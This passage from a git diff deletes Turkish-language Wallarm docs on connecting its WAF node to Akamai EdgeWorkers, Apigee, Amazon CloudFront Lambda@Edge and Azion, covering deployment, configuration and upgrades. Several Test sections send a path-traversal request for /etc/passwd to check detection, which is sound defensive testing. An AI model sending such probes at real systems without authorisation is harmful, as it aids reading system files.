azaltacak şekilde yapılandırılabilir. - -Akamai bağlayıcısı için node’u yalnızca kendi altyapınızda dağıtabilirsiniz. - -Self-hosted node dağıtımı için bir yapıt (artifact) seçin ve ilgili talimatları izleyin: - -* Bare metal veya VM’lerdeki Linux altyapıları için [All-in-one installer](../native-node/all-in-one.md) -* Konteynerleştirilmiş dağıtımlar kullanan ortamlar için [Docker image](../native-node/docker-image.md) -* Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -!!! info "Gerekli Node sürümü" - Akamai bağlayıcısının yalnızca Native Node’un [0.16.3+ sürümü](../../updating-migrating/native-node/node-artifact-versions.md) tarafından desteklendiğini lütfen unutmayın. - -### 2. Wallarm kod paketini edinin ve EdgeWorker’lar oluşturun - -Wallarm kod paketini Akamai EdgeWorkers üzerinde edinmek ve çalıştırmak için şu adımları izleyin: - -1. Wallarm kod paketini edinmek için [support@wallarm.com](mailto:support@wallarm.com) adresiyle iletişime geçin. -1. Akamai Control Center → **EdgeWorkers** → **Create EdgeWorker ID** öğesine gidin, ardından `wallarm-main` kod paketini içe aktarın. - - Bu, istekleri Wallarm node’u üzerinden yönlendiren ana EdgeWorker’dır. -1. Başka bir EdgeWorker ID oluşturun ve `wallarm-sp` paketini içe aktarın. - - Bu, spoofing önleme için önerilen EdgeWorker’dır. Bir property gerektirmez. - -### 3. Wallarm Node property’sini oluşturun - -1. Akamai Property Manager’da yeni bir property oluşturun: - - * **Property name / hostname**: ayrılmış Node hostname’i (ör. `node.customer.com`). Bu hostname, kontrol ettiğiniz bir DNS bölgesine ait olmalıdır. - * **Property type**: `Dynamic Site Accelerator`. - * **Origin type**: `Web server`. - * **Origin Hostname**: [dağıttığınız Wallarm Node’un gerçek adresi](#1-deploy-a-wallarm-node). -1. Property için TLS yapılandırın: - - * Ya **Akamai Managed Certificate** seçin (Akamai, `node.customer.com` için bir sertifika düzenler ve yönetir) ya da - * Gerekirse kendi sertifikanızı yükleyin. -1. Property’yi kaydedin. Akamai aşağıdakine benzer bir Edge Hostname üretecektir: - - ``` - node.customer.com.edgesuite.net - ``` -1. DNS bölgenizde, Node hostname’inizi Edge Hostname’e işaret eden bir CNAME kaydı oluşturun, ör.: - - ``` - node.customer.com → node.customer.com.edgesuite.net - ``` -1. [Property’yi staging’de etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-stage), işlevselliği doğrulayın, ardından [production’da etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-prod). - -![!Akamai'de Wallarm Node Property](../../images/waf-installation/gateways/akamai/wallarm-property.png) - -### 4. Origin property’de değişkenleri yapılandırın - -Mevcut origin property’nizi açın → **Edit New Version** ve aşağıdaki değişkenleri yapılandırın: - -| Değişken | Açıklama | Gerekli mi? | -| -------- | -------- | ----------- | -| `PMUSER_WALLARM_NODE` | `wallarm-main` EdgeWorker’ı için oluşturduğunuz property adı. | Evet | -| `PMUSER_WALLARM_HEADER_SECRET` | Spoofing önleme için rastgele bir gizli değer, ör. `aj8shd82hjd72hs9`. `wallarm-main` EdgeWorker, bir isteği aynı property’ye geri yönlendirdiğinde bu değeri içeren `x-wlrm-checked` başlığını ekler. `wallarm-sp` EdgeWorker bu başlığı doğrular: eşleşme yoksa istek engellenir. Bu, sonsuz döngüleri önler ve istemcilerin Wallarm kontrollerini atlamak için sahte bir başlık eklemesini engeller.
              Gizli tutun ve başka yerde yeniden kullanmayın. | Evet | -| `PMUSER_WALLARM_ASYNC` | Trafik işleme modunu belirler: `false`, trafiği doğrudan Wallarm Node üzerinden işler (senkron), `true` ise trafiğin [kopyasını](../oob/overview.md) orijinal akışı etkilemeden analiz eder (asenkron). Varsayılan: `false`. | Hayır | -| `PMUSER_WALLARM_INSPECT_REQ_BODY` | İstek gövdelerinin analiz için Wallarm node’una gönderilip gönderilmeyeceğini kontrol eder. Varsayılan: `true`. | Hayır | -| `PMUSER_WALLARM_INSPECT_RSP_BODY` | Yanıt gövdelerinin analiz için Wallarm node’una gönderilip gönderilmeyeceğini kontrol eder. Yanıt şeması keşfini ve gelişmiş saldırı ile zafiyet tespit kabiliyetlerini etkinleştirir. Varsayılan: `true`. | Hayır | - -![!Akamai origin property için Wallarm değişkenleri](../../images/waf-installation/gateways/akamai/origin-property-variables.png) - -Bağlayıcı modunu ve gövde inceleme ayarlarını rota bazında veya dosya türüne göre **Set Variable** davranışını kullanarak ince ayar yapabilirsiniz. - -### 5. Wallarm EdgeWorker kuralını ekleyin - -Origin property’de yeni bir boş kural oluşturun: - -* Kriter: - - ``` - If - Request Header - x-wlrm-checked - does not exist - ``` -* Davranış: EdgeWorkers → `wallarm-main` EdgeWorker - -Daha karmaşık kurulumlarda, bu koşulu yol kontrolleriyle birleştirerek (örneğin kuralı yalnızca `/api/*` yollarına uygulayarak) yalnızca API trafiğinin Wallarm tarafından işlenmesini sağlayabilirsiniz. - -### 6. Spoofing önleme kuralını ekleyin - -Origin property’de başka bir yeni boş kural oluşturun: - -* Kriter: - - ``` - If - Request Header - x-wlrm-checked - exists - ``` -* Davranış: EdgeWorkers → `wallarm-sp` EdgeWorker - -Bu kural, `x-wlrm-checked` başlığının `PMUSER_WALLARM_HEADER_SECRET` değerine eşit olmasını sağlar. Başka herhangi bir değer engellenir; bu, istemcilerin Wallarm kontrollerini atlamasını engeller. - -Daha karmaşık kurulumlarda, bu koşulu yol kontrolleriyle birleştirerek (örneğin kuralı yalnızca `/api/*` yollarına uygulayarak) yalnızca API trafiğinin Wallarm tarafından işlenmesini sağlayabilirsiniz. - -### 7. Property’yi kaydedin ve etkinleştirin - -1. Yeni origin property sürümünü kaydedin. -1. [Staging ortamında etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-stage). -1. Doğrulamanın ardından [production’da etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-prod). - -## Test - -Dağıtılan EdgeWorker’ların işlevselliğini test etmek için şu adımları izleyin: - -1. Akamai CDN’inize test [Dizin Geçişi][ptrav-attack-docs] saldırısıyla bir istek gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) içinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzdeki Attacks][attacks-in-ui-image] - - Wallarm node modu engelleme olarak ayarlıysa, istek de engellenir. - -## Wallarm EdgeWorker’larını yükseltme - -Dağıtılan Wallarm EdgeWorker’larını [daha yeni bir sürüme](code-bundle-inventory.md#akamai) yükseltmek için: - -1. `wallarm-main` için [oluşturduğunuz](#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) EdgeWorker’a gidin. -1. **Create Version**’a basın ve yeni `wallarm-main` kod paketini yükleyin. -1. [Staging ortamında etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-stage). -1. Doğrulamanın ardından [production’da etkinleştirin](https://techdocs.akamai.com/property-mgr/docs/activate-prod). -1. Sürümü değiştiyse `wallarm-sp` kod paketi için de aynı adımları tekrarlayın. - -EdgeWorker yükseltmeleri, özellikle majör sürüm güncellemelerinde, bir Wallarm node yükseltmesi gerektirebilir. Self-hosted Node sürüm notları için [Native Node değişiklik günlüğüne](../../updating-migrating/native-node/node-artifact-versions.md) bakın. Eskimeyi önlemek ve gelecekteki yükseltmeleri basitleştirmek için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/apigee.md b/docs/latest-tr/installation/connectors/apigee.md deleted file mode 100644 index abc27f5969..0000000000 --- a/docs/latest-tr/installation/connectors/apigee.md +++ /dev/null @@ -1,109 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png - -# Wallarm Proxy Bundle ile Apigee Edge - -[Apigee Edge](https://docs.apigee.com/api-platform/get-started/what-apigee-edge), istemci uygulamalarının API’lere erişmesi için giriş noktası görevi gören bir API ağ geçidine sahip bir API yönetim platformudur. Apigee’de API güvenliğini artırmak için, bu makalede anlatıldığı gibi Wallarm’ın API proxy paketini entegre edebilirsiniz. - -Çözüm, Wallarm düğümünün harici olarak dağıtılmasını ve belirli bir platforma özel kod veya politikaların enjekte edilmesini içerir. Bu, trafiğin analiz ve potansiyel tehditlere karşı koruma amacıyla harici Wallarm düğümüne yönlendirilmesini sağlar. Wallarm’ın “connectors” olarak adlandırılan bu bileşenleri; Azion Edge, Akamai Edge, MuleSoft, Apigee ve AWS Lambda gibi platformlar ile harici Wallarm düğümü arasında temel bağlantıyı kurar. Bu yaklaşım, sorunsuz entegrasyon, güvenli trafik analizi, risk azaltma ve genel platform güvenliğini sağlar. - -## Kullanım senaryoları - -Bu çözüm aşağıdaki kullanım senaryoları için önerilir: - -* Yalnızca tek bir API proxy’si bulunan Apigee platformunda dağıtılmış API’lerin güvence altına alınması. -* Kapsamlı saldırı gözlemi, raporlama ve kötü amaçlı isteklerin anında engellenmesini sunan bir güvenlik çözümüne ihtiyaç duyulması. - -## Sınırlamalar - -Bu çözüm yalnızca gelen isteklerle çalıştığı için bazı sınırlamalara sahiptir: - -* [Pasif tespit](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) yöntemiyle güvenlik açığı keşfi düzgün çalışmaz. Çözüm, test ettiği güvenlik açıklarına tipik olan kötü amaçlı isteklere sunucunun yanıtlarına dayanarak bir API’nin savunmasız olup olmadığını belirler. -* [Wallarm API Discovery](../../api-discovery/overview.md), çözüm yanıt analizi üzerine kurulu olduğundan trafiğinize dayanarak API envanterini keşfedemez. -* Yanıt kodu analizi gerektirdiği için [zorla gezintiye (forced browsing) karşı koruma](../../admin-en/configuration-guides/protecting-against-bruteforce.md) kullanılamaz. - -## Gereksinimler - -Dağıtıma devam etmek için aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* Apigee platformunu anlama. -* API’lerinizin Apigee üzerinde çalışıyor olması. - -## Dağıtım - -Apigee platformundaki API’leri güvence altına almak için aşağıdaki adımları izleyin: - -1. GCP örneğinde bir Wallarm düğümü dağıtın. -1. Wallarm proxy paketini edinin ve Apigee’ye yükleyin. - -### 1. Wallarm düğümü dağıtın - - -Apigee üzerinde Wallarm proxy’sini kullanırken, trafik akışı [in-line](../inline/overview.md) olarak çalışır. Bu nedenle, Google Cloud Platform üzerinde in-line dağıtım için desteklenen Wallarm düğüm dağıtım artefaktlarından birini seçin: - -* [GCP Machine Image](../packages/gcp-machine-image.md) -* [Google Compute Engine (GCE)](../cloud-platforms/gcp/docker-container.md) - -Dağıtılan düğümü aşağıdaki şablonu kullanarak yapılandırın: - -``` -server { - listen 80 default_server; - listen [::]:80 default_server; - - server_name _; - - access_log off; - wallarm_mode off; - - location / { - proxy_set_header Host $http_x_forwarded_host; - proxy_pass http://unix:/tmp/wallarm-nginx.sock; - } -} - -server { - listen unix:/tmp/wallarm-nginx.sock; - - server_name _; - - wallarm_mode block; - real_ip_header X-LAMBDA-REAL-IP; - set_real_ip_from unix:; - - location / { - echo_read_request_body; - } -} -``` - -Dağıtım tamamlandıktan sonra, gelen istek yönlendirmesini yapılandırmak için gerekli olacağından düğüm örneğinin IP adresini not edin. IP’nin dahili olabileceğini, harici olmasının gerekmediğini unutmayın. - -### 2. Wallarm proxy paketini edinin ve Apigee’ye yükleyin - -Entegrasyon, meşru trafiği API’lerinize yönlendirecek bir API proxy’sinin Apigee üzerinde oluşturulmasını içerir. Bunu gerçekleştirmek için Wallarm özel bir yapılandırma paketi sağlar. Apigee’deki API proxy’si için Wallarm paketini edinmek ve [kullanmak](https://docs.apigee.com/api-platform/fundamentals/build-simple-api-proxy) için şu adımları izleyin: - -1. Apigee için Wallarm proxy paketini edinmek üzere [support@wallarm.com](mailto:support@wallarm.com) ile iletişime geçin. -1. Apigee Edge UI’da, **Develop** → **API Proxies** → **+Proxy** → **Upload proxy bundle** yolunu izleyin. -1. Wallarm destek ekibinin sağladığı paketi yükleyin. -1. İçe aktarılan yapılandırma dosyasını açın ve `prewall.js` ve `postwall.js` içinde [Wallarm düğüm örneğinin IP adresini](#1-deploy-a-wallarm-node) belirtin. -1. Yapılandırmayı kaydedin ve dağıtın. - -## Test - -Dağıtılan politikanın işlevselliğini test etmek için şu adımları izleyin: - -1. API’nize test amaçlı [Yol Geçişi (Path Traversal)][ptrav-attack-docs] saldırısını içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede göründüğünden emin olun. - - ![Arayüzde Attacks][attacks-in-ui-image] - - Wallarm düğüm modu blocking olarak ayarlıysa, istek de engellenecektir. - -## Yardıma mı ihtiyacınız var? - -Apigee ile birlikte Wallarm’ın burada tanımlanan dağıtımı sırasında herhangi bir sorunla karşılaşırsanız veya yardıma ihtiyaç duyarsanız, [Wallarm destek](mailto:support@wallarm.com) ekibiyle iletişime geçebilirsiniz. Uygulama sürecinde rehberlik sağlar ve karşılaşabileceğiniz sorunların çözümüne yardımcı olurlar. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/aws-api-gateway.md b/docs/latest-tr/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 2bee2cf60c..0000000000 --- a/docs/latest-tr/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/aws-lambda-for-wizard.md b/docs/latest-tr/installation/connectors/aws-lambda-for-wizard.md deleted file mode 100644 index 4fc50c9d16..0000000000 --- a/docs/latest-tr/installation/connectors/aws-lambda-for-wizard.md +++ /dev/null @@ -1,70 +0,0 @@ -# Sihirbaz için Cloudfront - -Wallarm Edge node'u Amazon CloudFront'a bağlayarak trafiği [eşzamanlı](../inline/overview.md) veya [eşzamansız](../oob/overview.md) modda - hiçbir isteği engellemeden - inceleyebilirsiniz. - -Bağlantıyı kurmak için aşağıdaki adımları izleyin. - -1. Platformunuz için sağlanan kod paketini indirin. -1. AWS Console → **Services** → **Lambda** → **Functions** bölümüne gidin. -1. `us-east-1` (N. Virginia) bölgesini seçin; bu, [Lambda@Edge işlevleri için gereklidir](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function). -1. Aşağıdaki ayarlarla **Create function** oluşturun: - - * Runtime: Python 3.x. - * Execution role: **Create a new role from AWS policy templates** → **Basic Lambda@Edge permissions (for CloudFront trigger)**. - * Diğer ayarlar varsayılan olarak kalabilir. -1. İşlev oluşturulduktan sonra, **Code** sekmesinde Wallarm istek işleme kodunu yapıştırın. -1. Kodda aşağıdaki parametreleri güncelleyin: - - * `wlrm_node_addr`: Wallarm node URL'niz. - * `wlrm_inline`: [eşzamansız (out-of-band)](../oob/overview.md) modu kullanıyorsanız, `False` olarak ayarlayın. - * Gerekirse diğer parametreleri değiştirin. -1. **Actions** → **Deploy to Lambda@Edge** bölümüne geçin ve aşağıdaki ayarları belirtin: - - * Yeni CloudFront tetikleyicisi yapılandırın. - * Distribution: korumak istediğiniz origin'e trafiği yönlendiren CDN'iniz. - * Cache behavior: Lambda işlevi için önbellek davranışı, genellikle `*`. - * CloudFront event: - - * **Origin request**: işlevi yalnızca CloudFront CDN arka uçtan veri istediğinde çalıştırır. CDN önbelleğe alınmış bir yanıt döndürürse, işlev çalıştırılmaz. - * **Viewer request**: CloudFront CDN'ye gelen her istek için işlevi çalıştırır. - * **Include body**'yi işaretleyin. - * **Confirm deploy to Lambda@Edge**'i işaretleyin. -1. Wallarm tarafından sağlanan yanıt işlevi için de aynı işlemi tekrarlayın ve tetikleyici olarak yanıtları seçin. - - Yanıt tetikleyicisinin istek tetikleyicisiyle eşleştiğinden emin olun (origin request için origin response, viewer request için viewer response). - -[Daha fazla ayrıntı](aws-lambda.md) - - \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/aws-lambda.md b/docs/latest-tr/installation/connectors/aws-lambda.md deleted file mode 100644 index ec20f95c50..0000000000 --- a/docs/latest-tr/installation/connectors/aws-lambda.md +++ /dev/null @@ -1,202 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Amazon CloudFront için Wallarm Connector - -[CloudFront](https://aws.amazon.com/cloudfront/), Amazon Web Services tarafından işletilen bir içerik teslim ağıdır. Wallarm, CloudFront üzerinden teslim edilen trafiği güvence altına almak ve izlemek için bir bağlayıcı olarak görev yapabilir. - -Wallarm’ı CloudFront için bir bağlayıcı olarak kullanmak için, **Wallarm node’unu harici olarak dağıtmanız** ve trafiği analiz için Wallarm node’una yönlendirmek amacıyla **Wallarm tarafından sağlanan Lambda@Edge işlevlerini çalıştırmanız** gerekir. - -CloudFront bağlayıcısı hem [in-line](../inline/overview.md) hem de [out-of-band](../oob/overview.md) trafik analizini destekler: - -=== "Satır içi trafik akışı" - - Wallarm kötü amaçlı etkinlikleri engelleyecek şekilde yapılandırılmışsa: - - ![Wallarm ile CloudFront - satır içi şema](../../images/waf-installation/gateways/cloudfront/traffic-flow-inline.png) -=== "Bant dışı trafik akışı" - ![Wallarm ile CloudFront - bant dışı şema](../../images/waf-installation/gateways/cloudfront/traffic-flow-oob.png) - -!!! info "Güvenlik notu" - Sunulan çözüm, en az ayrıcalık ilkesi gözetilerek tasarlanmıştır. İşlevler, CloudFront ve Wallarm Node ile çalışmak için gerekli en az izin kümesini talep eder ve varsayılan olarak güvenli dağıtımı sağlar. - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri](../supported-deployment-options.md) arasında, trafiği Amazon CloudFront üzerinden ilettiğiniz durumlarda bu çözüm önerilir. - -## Sınırlamalar - -* Lambda@Edge işlev düzeyi kısıtlamaları: - - * Lambda@Edge işlevleri, 4xx HTTP durum kodlarına sahip görüntüleyici yanıtları tarafından tetiklenmez. - * Lambda@Edge, hem origin response hem de viewer response olaylarında yanıt gövdesine erişime izin vermez; bu da yanıt içeriğine dayalı herhangi bir işlem yapılmasını kısıtlar. - * Gövde boyutu, viewer istekleri için 40 KB ve origin istekleri için 1 MB ile sınırlıdır. - * Wallarm node’undan gelen maksimum yanıt süresi, viewer istekleri için 5 saniye ve origin istekleri için 30 saniyedir. - * Lambda@Edge, özel ağları (VPC) desteklemez. - * Eşzamanlı istekler için varsayılan sınır bölge başına 1.000’dir, ancak on binlere kadar artırılabilir. - * Wallarm Lambda@Edge işlevleri origin düzeyinde çalışır; bu, CDN önbelleği tarafından karşılanan isteklere yönelik izleme yapılmadığı anlamına gelir. Böylece bu tür isteklere yönelik olası saldırılar tespit edilemez. -* Özellik kısıtlamaları: - * [Helm chart][helm-chart-native-node] kullanılarak `LoadBalancer` türüyle Wallarm servisi dağıtılırken, Node örneği alan adı için **güvenilir** bir SSL/TLS sertifikası gereklidir. Öz imzalı sertifikalar henüz desteklenmemektedir. - * [Özel engelleme sayfası ve engelleme kodu][custom-blocking-page] yapılandırmaları henüz desteklenmiyor. - * Lambda@Edge yanıt tetikleyici kısıtlamaları nedeniyle [pasif tespit](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) ve [API Discovery’de API yanıt yapısına](../../api-discovery/exploring.md#endpoint-details) dayalı güvenlik açığı tespiti sınırlıdır. Wallarm işlevleri yanıt gövdelerini alamadığından ve onlara dayanamadığından, bu özellikler kullanılamaz. - * Wallarm kuralıyla [oran sınırlama](../../user-guides/rules/rate-limiting.md) desteklenmiyor. - * [Multitenancy](../multi-tenant/overview.md) henüz desteklenmiyor. - -## Gereksinimler - -Dağıtıma devam etmeden önce aşağıdaki gereksinimleri karşıladığınızdan emin olun: - -* AWS CloudFront ve Lambda teknolojileri hakkında bilgi. -* CloudFront CDN üzerinden geçen API’ler veya trafik. - -## Dağıtım - -### 1. Bir Wallarm node’u dağıtın - -Wallarm node’u, dağıtmanız gereken Wallarm platformunun temel bileşenidir. Gelen trafiği inceler, kötü amaçlı etkinlikleri tespit eder ve tehditleri azaltacak şekilde yapılandırılabilir. - -Gereken kontrol düzeyine bağlı olarak, Wallarm tarafından barındırılan ya da kendi altyapınızda barındırılan şekilde dağıtabilirsiniz. - -=== "Edge node" - Bağlayıcı için Wallarm tarafından barındırılan bir node dağıtmak üzere [talimatlar](../security-edge/se-connector.md)ı izleyin. -=== "Self-hosted node" - Self-hosted node dağıtımı için bir yapıt seçin ve ekli talimatları izleyin: - - * Bare metal veya VM’lerde Linux altyapıları için [All-in-one installer](../native-node/all-in-one.md) - * Container tabanlı dağıtımlar kullanan ortamlar için [Docker image](../native-node/docker-image.md) - * AWS altyapıları için [AWS AMI](../native-node/aws-ami.md) - * Kubernetes kullanan altyapılar için [Helm chart](../native-node/helm-chart.md) - -### 2. Wallarm Lambda@Edge işlevlerini edinin ve dağıtın - -CloudFront CDN’inizi Wallarm node’una bağlamak için Wallarm Lambda@Edge işlevlerini AWS üzerinde dağıtmanız gerekir. - -İki adet Python tabanlı işlev vardır: biri istekleri iletme ve analiz etme, diğeri ise yanıtları iletme ve analiz etme için. - -=== "Manuel indirme ve dağıtma" - 1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** bölümüne gidin ve platformunuz için bir kod paketi indirin. - - Self-hosted node çalıştırıyorsanız, kod paketini almak için sales@wallarm.com ile iletişime geçin. - 1. AWS Console’unuza gidin → **Services** → **Lambda** → **Functions**. - 1. [Lambda@Edge işlevleri için gerekli](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function) olan `us-east-1` (N. Virginia) bölgesini seçin. - 1. Aşağıdaki ayarlarla **Create function** oluşturun: - - * Runtime: Python 3.x. - * Execution role: **Create a new role from AWS policy templates** → **Basic Lambda@Edge permissions (for CloudFront trigger)**. - * Diğer ayarlar varsayılan bırakılabilir. - 1. İşlev oluşturulduktan sonra, **Code** sekmesinde Wallarm istek işleme kodunu yapıştırın. - 1. Koddaki aşağıdaki parametreleri güncelleyin: - - * `wlrm_node_addr`: Wallarm node’unuzun URL’si. - * `wlrm_inline`: [asenkron (bant dışı)](../oob/overview.md) modu kullanılıyorsa `False` olarak ayarlayın. - * Gerekirse diğer parametreleri değiştirin. - 1. **Actions** → **Deploy to Lambda@Edge** adımlarını izleyin ve aşağıdaki ayarları belirtin: - - * Configure new CloudFront trigger. - * Distribution: korumak istediğiniz origin’e trafiği yönlendiren CDN’iniz. - * Cache behavior: Lambda işlevi için önbellek davranışı, genellikle `*`. - * CloudFront event: - - * **Origin request**: yalnızca CloudFront CDN arka uçtan veri istediğinde işlevi çalıştırır. CDN önbellekten yanıt döndürürse işlev çalışmaz. - * **Viewer request**: CloudFront CDN’e gelen her istek için işlevi çalıştırır. - * **Include body** seçeneğini işaretleyin. - * **Confirm deploy to Lambda@Edge** seçeneğini işaretleyin. - - ![CloudFront işlev dağıtımı](../../images/waf-installation/gateways/cloudfront/function-deploy.png) - 1. Wallarm tarafından sağlanan yanıt işlevi için de prosedürü tekrarlayın ve tetikleyici olarak yanıtları seçin. - - Yanıt tetikleyicisinin istek tetikleyicisiyle eşleştiğinden emin olun (origin request için origin response, viewer request için viewer response). -=== "AWS SAR üzerinden işlevleri dağıtma" - Her iki işlevi de doğrudan AWS Serverless Application Repository (SAR) üzerinden dağıtabilirsiniz. İşlevler, [Lambda@Edge işlevleri için gerekli](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-how-it-works-tutorial.html#lambda-edge-how-it-works-tutorial-create-function) olan `us-east-1` (N. Virginia) bölgesine dağıtılacaktır. - - 1. [AWS Serverless Application Repository’de Wallarm politikalarına](https://serverlessrepo.aws.amazon.com/applications/us-east-1/381492110259/wallarm-connector) gidin → **Deploy**. - 1. Dağıtım ayarlarını varsayılan bırakın. - 1. Dağıtım tamamlandıktan sonra, oluşturulan IAM rollerine gidin → **Trust relationships** ve her iki rolü de (biri istekler, diğeri yanıtlar için) aşağıdaki policy ile güncelleyin: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Service": [ - "edgelambda.amazonaws.com", - "lambda.amazonaws.com" - ] - }, - "Action": "sts:AssumeRole" - } - ] - } - ``` - - 1. AWS Console’unuza gidin → **Services** → **Lambda** → **Functions**. - 1. `serverlessrepo-wallarm-connector-RequestHandler-xxx` işlevini açın. - 1. **Code** sekmesinde aşağıdaki parametreleri güncelleyin: - - * `wlrm_node_addr`: [Wallarm node örneğinizin](#1-deploy-a-wallarm-node) adresi. - * `wlrm_inline`: [out-of-band](../oob/overview.md) modu kullanılıyorsa `False` olarak ayarlayın. - * Gerekirse diğer parametreleri değiştirin. - 1. **Actions** → **Deploy to Lambda@Edge** adımlarını izleyin ve aşağıdaki ayarları belirtin: - - * Configure new CloudFront trigger. - * Distribution: korumak istediğiniz origin’e trafiği yönlendiren CDN’iniz. - * Cache behavior: Lambda işlevi için önbellek davranışı, genellikle `*`. - * CloudFront event: - - * **Origin request**: yalnızca CloudFront CDN arka uçtan veri istediğinde işlevi çalıştırır. CDN önbellekten yanıt döndürürse işlev çalışmaz. - * **Viewer request**: CloudFront CDN’e gelen her istek için işlevi çalıştırır. - * **Include body** seçeneğini işaretleyin. - * **Confirm deploy to Lambda@Edge** seçeneğini işaretleyin. - - ![CloudFront işlev dağıtımı](../../images/waf-installation/gateways/cloudfront/function-deploy.png) - 1. AWS Console’unuza geri dönün → **Services** → **Lambda** → **Functions**. - 1. `serverlessrepo-wallarm-connector-ResponseHandler-xxx` işlevini açın. - 1. Wallarm tarafından sağlanan yanıt işlevi için de prosedürü tekrarlayın ve tetikleyici olarak yanıtları seçin. - - Yanıt tetikleyicisinin istek tetikleyicisiyle eşleştiğinden emin olun (origin request için origin response, viewer request için viewer response). - -## Test - -Dağıtılan işlevlerin çalışırlığını test etmek için şu adımları izleyin: - -1. CloudFront CDN’inize test [Path Traversal][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -1. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) üzerinde açın ve saldırının listede görüntülendiğinden emin olun. - - ![Arayüzde saldırılar][attacks-in-ui-image] - - Wallarm node modu [blocking](../../admin-en/configure-wallarm-mode.md) olarak ayarlanmış ve trafik satır içi akıyorsa, istek ayrıca engellenecektir. - -## Lambda@Edge işlevlerini yükseltme - -Dağıtılmış Lambda@Edge işlevini [daha yeni bir sürüme](code-bundle-inventory.md#cloudfront) yükseltmek için: - -=== "Manuel indirme ve dağıtma" - 1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle** bölümüne gidin ve güncellenmiş Wallarm Lambda@Edge işlevlerini indirin. - - Self-hosted node çalıştırıyorsanız, güncellenmiş kod paketini almak için sales@wallarm.com ile iletişime geçin. - 1. Dağıtılmış Lambda@Edge işlevlerinizdeki kodu güncel paketle değiştirin. - - `wlrm_node_addr`, `wlrm_inline` ve diğerleri gibi parametreler için mevcut değerleri koruyun. - - Mevcut işlev tetikleyicilerini değiştirmeyin. - 1. Güncellenmiş işlevleri **Deploy** edin. -=== "AWS SAR üzerinden işlevleri dağıtma" - 1. İşlevlerin yeni sürümünü kullanarak [2. adımda](#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) belirtilen adımları tekrarlayın. - 1. Güncellenmiş işlevleri dağıtımlarınıza bağladıktan sonra, çakışmaları önlemek için önceki sürümleri CloudFront tetikleyicilerinden kaldırın. - -İşlev yükseltmeleri, özellikle ana sürüm güncellemelerinde, bir Wallarm node yükseltmesi gerektirebilir. Self-hosted Node sürüm notları ve yükseltme talimatları için [Native Node değişiklik günlüğü](../../updating-migrating/native-node/node-artifact-versions.md)ne veya [Edge connector yükseltme prosedürü](../security-edge/se-connector.md#upgrading-the-edge-node)ne bakın. Eskimeyi önlemek ve gelecekteki yükseltmeleri basitleştirmek için düzenli node güncellemeleri önerilir. \ No newline at end of file diff --git a/docs/latest-tr/installation/connectors/azion-edge.md b/docs/latest-tr/installation/connectors/azion-edge.md deleted file mode 100644 index d6088ee681..0000000000 --- a/docs/latest-tr/installation/connectors/azion-edge.md +++ /dev/null @@ -1,137 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png - -# Wallarm Functions ile Azion Edge Firewall - -[Azion Edge Functions](https://www.azion.com/en/products/edge-functions/), özel kodu ağın kenarında çalıştırmayı mümkün kılarak istekleri işlemek için özel kuralların uygulanmasını sağlar. Wallarm özel kodu entegre edilerek gelen trafik analiz ve filtreleme için Wallarm node üzerinden proxy’lenebilir. Bu kurulum, zaten [Azion Edge Firewall](https://www.azion.com/en/products/edge-firewall/) tarafından sağlanan güvenlik önlemlerini güçlendirir. Bu kılavuz, Azion Edge üzerinde çalışan hizmetleri korumak için Wallarm node’unu Azion 